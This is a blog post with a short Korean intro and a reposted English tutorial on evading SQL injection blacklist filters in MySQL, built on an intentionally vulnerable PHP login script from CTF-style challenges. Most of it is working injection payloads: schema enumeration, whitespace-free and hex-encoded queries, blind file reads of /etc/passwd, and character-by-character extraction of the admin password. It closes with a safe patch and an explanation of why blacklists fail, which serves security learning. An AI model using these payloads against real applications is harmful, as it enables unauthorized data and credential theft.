웹해킹을 공부해야되는데..
웹쪽은 관심이 없어서 거의 안봤는데..
요즘.. 제 한계(?)를 느끼고 이럴 바에는 폭넓게 가는게 맞다는 생각하에..
다분야로 보려고 웹쪽은 다시 공부하고 있습니다..
아.. 정말 웹은 힘듭니다 ^^;;
While
participating at some CTF challenges like Codegate10 or OWASPEU10
recently I noticed that it is extremely trendy to build SQL injection
challenges with very tough filters which can be circumvented based on
the flexible MySQL syntax.
In this post I will show some example filters and how to exploit them
which may also be interesting when exploiting real life SQL injections
which seem unexploitable at first glance.
For the following examples I’ll use this basic vulnerable PHP script:
05 |
$pass = mysql_real_escape_string($_GET['pass']); |
07 |
$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND
pass = '$pass' "); |
09 |
if($data = @mysql_fetch_array($result)) |
10 |
echo "Welcome
${data['name']}"; |
Note: the webapplication displays only the name of the first row of
the sql resultset.
Warmup
Lets warm up. As you can see the parameter “id” is vulnerable to SQL
Injection. The first thing you might want to do is to confirm the
existence of a SQLi vulnerability:
You also might want to see all usernames by iterating through limit
(x):
1 |
?id=1 or 1=1 LIMIT x,1-- - |
But usernames are mostly not as interesting as passwords and we
assume that there is nothing interesting in each internal user area.
So you would like to know what the table
and column names are and you try the following:
1 |
?id=1 and 1=0 union select null,table_name,null from
information_schema.tables limit 28,1-- - |
1 |
?id=1 and 1=0 union select null,column_name,null from
information_schema.columns where table_name='foundtablename' LIMIT 0,1--
- |
After you have found interesting tables and its column names you can
start to extract data.
1 |
?id=1 and 1=0 union select null,password,null from users limit
1,1-- - |
Ok thats enough for warming up.
Whitespaces, quotes and slashes filtered
Of course things aren’t that easy most time. Now consider the
following filter for some extra characters:
1 |
if(preg_match('/\s/', $id)) |
3 |
if(preg_match('/[\'"]/', $id)) |
5 |
if(preg_match('/[\/\\\\]/', $id)) |
As you can see above our injections have a lot of spaces and some
quotes. The first idea would be to replace the spaces by /*comments*/
but slashes are filtered. Alternative whitespaces
are all catched by the whitespace filter. But luckily because of the
flexible MySQL syntax we can avoid all whitespaces by using parenthesis
to seperate SQL keywords (old
but not seen very often).
1 |
?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit
28,1-- -) |
Looks good, but still has some spaces at the end. So we also use group_concat()
because LIMIT requires a space and therefore can’t be used
anymore. Since all table names in one string can be very long, we can
use substr() or mid() to limit the size of the
returning string. As SQL comment we simply take “#” (not urlencoded for
better readability).
1 |
?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))# |
Instead of a quoted string we can use the SQL hex representation of
the found table name:
1 |
?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))# |
Nice.
Basic keywords filtered
Now consider the filter additionally checks for the keywords “and”,
“null”, “where” and “limit”:
1 |
if(preg_match('/\s/', $id)) |
3 |
if(preg_match('/[\'"]/', $id)) |
5 |
if(preg_match('/[\/\\\\]/', $id)) |
7 |
if(preg_match('/(and|null|where|limit)/i', $id)) |
For some keywords this is still not a big problem. Something most of
you would do from the beginning anyway is to confirm the SQLi with the
following injections leading to the same result:
To negotiate the previous resultset you can also use a non-existent
id like 0. Instead of the place holder “null” we can select
anything else of course because it is only a place holder for the
correct column amount. So without the WHERE we have:
1 |
?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))# |
1 |
?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))# |
This should give us all table and column names. But the
output string from group_concat() gets very long for all
available table and column names (including the columns of the mysql
system tables) and the length returned by group_concat()
is limited to 1024 by default. While the length may fit for all table
names (total system table names length is about 900), it definitely does
not fit for all available column names because all system column names
concatenated already take more than 6000 chars.
WHERE alternative
The first idea would be to use ORDER BY column_name DESC to
get the user tables first but that doesn’t work because ORDER BY
needs a space. Another keyword we have left is HAVING.
First we have a look which databases are available:
1 |
?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))# |
This will definitely fit into 1024 chars, but you can also use
database() to get the current database name:
1 |
?id=(0)union(select(0),database(),(0))# |
Lets assume your database name is “test” which hex representation is
“0×74657374″. Then we can use HAVING to get all table names
associated with the database “test” without using WHERE:
1 |
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))# |
Note that you have to select the column “table_schema” in one of the
place holders to use this column in HAVING. Since we assume
that the webapp is designed to return only the first row of the result
set, this will give us the first table name. The second table name can
be retrieved by simply excluding the first found table name from the
result:
1 |
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))# |
We use && as alternative for the filtered keyword AND
(no urlencoding for better readability). Keep excluding table names
until you have them all. Then you can go on with exactly the same
technique to get all column names:
1 |
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))# |
1 |
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))# |
Unfortunately you can’t use group_concat() while using HAVING
hence the excluding step by step.
intermediate result
What do we need for our injections so far?
keywords: “union”, “select”, “from”,”having”
characters: (),._# (& or “and”)
String comparing characters like “=” and “!=” can be avoided by using
the keywords “like” and “rlike” or the function strcmp() together with
the keyword “not”:
1 |
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))# |
advanced keyword filtering
Now its getting difficult. The filter also checks for all keywords
previously needed:
01 |
if(preg_match('/\s/', $id)) |
03 |
if(preg_match('/[\'"]/', $id)) |
05 |
if(preg_match('/[\/\\\\]/', $id)) |
07 |
if(preg_match('/(and|or|null|where|limit)/i', $id)) |
09 |
if(preg_match('/(union|select|from|having)/i', $id)) |
What option do we have left?
If we have the FILE privilege we can use load_file()
(btw you can’t use into
outfile without quotes and spaces). But we can’t output the result
of load_file() because we can not use union select so
we need another way to read the string returned by the load_file().
First we want to check if the file can be read. load_file()
returns “null” if the file could not be read, but since the keyword
“null” is filtered we cant compare to “null” or use functions like isnull().
A simple solution is to use coalesce()
which returns the first not-null value in the list:
1 |
?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1)) |
This will return the length of the file content or – if the file
could not be read – a “1″ and therefore the success can be seen by the
userdata selected in the original query. Now we can use the CASE
operator to read the file content blindly char by char:
1 |
?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end) |
(while $char is the character in sql hex which is compared to the
current character of the file at offset $x)
We bypassed the filter but it requires the FILE privilege.
filtering everything
Ok now we expand the filter again and it will check for file
operations too (or just assume you don’t have the FILE privilege). We
also filter SQL comments. So lets assume the following (rearranged)
filter:
01 |
if(preg_match('/\s/', $id)) |
03 |
if(preg_match('/[\'"]/', $id)) |
05 |
if(preg_match('/[\/\\\\]/', $id)) |
07 |
if(preg_match('/(and|or|null|not)/i', $id)) |
09 |
if(preg_match('/(union|select|from|where)/i', $id)) |
11 |
if(preg_match('/(group|order|having|limit)/i', $id)) |
13 |
if(preg_match('/(into|file|case)/i', $id)) |
15 |
if(preg_match('/(--|#|\/\*)/', $id)) |
The SQL injection is still there but it may look unexploitable. Take a
breath and have a look at the filter. Do we have anything left?
We cant use procedure
analyse() because it needs a space and we cant use the ’1′%’0′
trick. Basically we only have special characters left, but that is
often all we need.
We need to keep in mind that we are already in a SELECT
statement and we can add some conditions to the existing WHERE
clause. The only problem with that is that we can only access columns
that are already selected and that we do have to know their names. In
our login example they shouldn’t be hard to guess though. Often they are
named the same as the parameter names (as in our example) and in most
cases the password column is one of {password, passwd, pass, pw,
userpass}.
So how do we access them blindly? A usual blind SQLi would look like the
following:
1 |
?id=(case when(mid(pass,1,1)='a') then 1 else 0 end) |
This will return 1 to the id if the first char of the
password is ‘a’. Otherwise it will return a 0 to the WHERE
clause. This works without another SELECT because we dont need
to access a different table. Now the trick is to express this filtered CASE
operation with only boolean operators. While AND and OR
is filtered, we can use the characters && and ||
to check, if the first character of the pass is ‘a’:
1 |
?id=1&&mid(pass,1,1)=(0x61);%00 |
We use a nullbyte instead of a filtered comment to ignore the check
for the right password in the original sql query. Make sure you prepend a
semicolon. Nice, we can now iterate through the password chars and
extract them one by one by comparing them to its hex representation. If
it matches, it will show the username for id=1 and if not the whole WHERE
becomes untrue and nothing is displayed. Also we can iterate to every
password of each user by simply iterating through all ids:
1 |
?id=2&&mid(pass,1,1)=(0x61);%00 |
1 |
?id=3&&mid(pass,1,1)=(0x61);%00 |
Of course this takes some time and mostly you are only interested in
one specific password, for example of the user “admin” but you dont know
his id. Basically we want something like:
1 |
?id=(SELECT id FROM users WHERE name = 'admin') &&
mid(pass,1,1)=('a');%00 |
The first attempt could be:
1 |
?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 |
That does not work because the “OR 1=1″ at the beginning is stronger
than the “AND”s so that we will always see the name of the first entry
in the table (it gets more clearly wenn you write the “OR 1=1″ at the
end of the injection). So what we do is we compare the column id to the
column id itself to make our check for the name and password independent
of all id’s:
1 |
?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 |
If the character of the password is guessed correctly we will see
“Hello admin” – otherwise there is displayed nothing. With this we have
successfully bypassed the tough filter.
filtering everything and even more
What else can we filter to make it more challenging? Sure, some
characters like “=”, “|” and “&”.
01 |
if(preg_match('/\s/', $id)) |
03 |
if(preg_match('/[\'"]/', $id)) |
05 |
if(preg_match('/[\/\\\\]/', $id)) |
07 |
if(preg_match('/(and|or|null|not)/i', $id)) |
09 |
if(preg_match('/(union|select|from|where)/i', $id)) |
11 |
if(preg_match('/(group|order|having|limit)/i', $id)) |
13 |
if(preg_match('/(into|file|case)/i', $id)) |
15 |
if(preg_match('/(--|#|\/\*)/', $id)) |
17 |
if(preg_match('/(=|&|\|)/', $id)) |
Lets see. The character “=” shouldn’t be problematic as already
mentioned above, we simply use “like” or “regexp” etc.:
1 |
?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00 |
The character “|” isn’t even needed. But what about the “&”? Can
we check for the name=’admin’ and for the password
characters without using logical
operators?
After exploring all sorts of functions and comparison
operators I finally found the simple function if().
It basically works like the CASE structure but is a lot shorter and
ideal for SQL obfuscation / filter evasion. The first attempt is to jump
to the id which correspondents to the name = ‘admin’:
1 |
?id=if((name)like(0x61646D696E),1,0);%00 |
This will return 1, if the username is admin and 0 otherwise. Now
that we actually want to work with the admin’s id we return his id
instead of 1:
1 |
?id=if((name)like(0x61646D696E),id,0);%00 |
Now the tricky part is to not use AND or &&
but to also check for the password chars. So what we do is we nest the if
clauses. Here is the commented injection:
3 |
//
if (it gets true if the name='admin') |
4 |
if((name)like(0x61646D696E),1,0), |
5 |
//
then (if first password char='a' return admin id, else 0) |
6 |
if(mid((password),1,1)like(0x61),id,0), |
Injection in one line:
1 |
?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00 |
Again you will see “Hello admin” if the password character was
guessed correctly and otherwise you’ll see nothing (id=0). Sweet!
Conclusion
(My)SQL isn’t as flexible as Javascript, thats for sure. The main
difference is that you can’t obfuscate keywords because there is nothing
like eval() (as long as you don’t inject into stored
procedures). But as shown in this article there isn’t much more needed
than some characters (mainly parenthesis and commas) to not only get a
working injection but also to extract data or read files. Various
techniques also have shown that detecting and blocking SQL injections
based on keywords is not reliable and that exploiting those is just a
matter of time.
If you have any other clever ways for bypassing the filters described
above please leave a comment. What about additionally filtering “if”
too ?
Edit:
Because there has been some confusion: you should NOT use the last
filter for securing your webapp. This post shows why it is bad to rely
on a blacklist. To secure your webapp properly, typecast expected
integer values and escape expected strings with
mysql_real_escape_string(), but don’t forget to embed the result in
quotes in your SQL query.
Here is a safe patch for the example:
1 |
$id = (int) $_GET['id']; |
2 |
$pass = mysql_real_escape_string($_GET['pass']); |
3 |
$result = mysql_query("SELECT
id,name,pass FROM users WHERE id = $id AND pass = '$pass' "); |
For more details have a look at the comments.